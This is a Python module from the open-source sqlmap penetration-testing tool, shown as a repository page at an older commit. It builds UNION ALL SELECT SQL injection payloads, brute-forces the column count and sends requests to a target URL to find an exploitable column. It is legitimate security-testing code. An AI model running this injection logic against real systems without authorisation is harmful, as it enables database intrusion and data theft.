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https://github.com/sqlmapproject/sqlmap.git
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daebb0010b
Alignment of SQL statement payload packing/unpacking between all of the techniques. Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too. Minor code cleanup.
139 lines
5.2 KiB
Python
139 lines
5.2 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import time
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from lib.core.agent import agent
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import getIdentifiedDBMS
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from lib.core.common import getUnicode
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from lib.core.common import parseUnionPage
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.settings import FROM_TABLE
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from lib.core.unescaper import unescaper
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from lib.parse.html import htmlParser
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from lib.request.connect import Connect as Request
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def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
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validPayload = None
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vector = None
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target url is
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# affected by an exploitable inband SQL injection vulnerability
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for position in range(0, count):
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# Prepare expression with delimiters
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randQuery = randomStr()
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randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
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randQueryUnescaped = unescaper.unescape(randQueryProcessed)
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
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if resultPage and randQuery in resultPage and " UNION ALL SELECT " not in resultPage:
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validPayload = payload
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vector = (position, count, comment, prefix, suffix, conf.uChar, where)
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if where == 1:
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# Prepare expression with delimiters
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randQuery2 = randomStr()
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randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
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randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
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# Confirm that it is a full inband SQL injection
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query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, conf.uChar, multipleUnions=randQueryUnescaped2)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
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if resultPage and " UNION ALL SELECT " not in resultPage and ((randQuery in resultPage and randQuery2 not in resultPage) or (randQuery not in resultPage and randQuery2 in resultPage)):
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vector = (position, count, comment, prefix, suffix, conf.uChar, 2)
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break
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return validPayload, vector
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def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
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validPayload = None
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vector = None
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# Confirm the inband SQL injection and get the exact column
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# position which can be used to extract data
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validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
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# Assure that the above function found the exploitable full inband
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# SQL injection position
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if not validPayload:
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validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
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return validPayload, vector
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def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 50 columns
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on the target database table
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"""
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validPayload = None
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vector = None
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query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
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for count in range(conf.uColsStart, conf.uColsStop+1):
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if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]):
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query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])]
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if count:
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query += ", %s" % conf.uChar
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if getIdentifiedDBMS() in FROM_TABLE:
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query += FROM_TABLE[getIdentifiedDBMS()]
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status = "%d/%d" % (count, conf.uColsStop)
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debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))
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logger.debug(debugMsg)
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validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
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if validPayload:
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break
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clearConsoleLine(True)
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return validPayload, vector
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def unionTest(comment, place, parameter, value, prefix, suffix):
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 3*50 times
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"""
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if conf.direct:
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return
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kb.technique = PAYLOAD.TECHNIQUE.UNION
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validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
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if validPayload:
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validPayload = agent.removePayloadDelimiters(validPayload, False)
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return validPayload, vector
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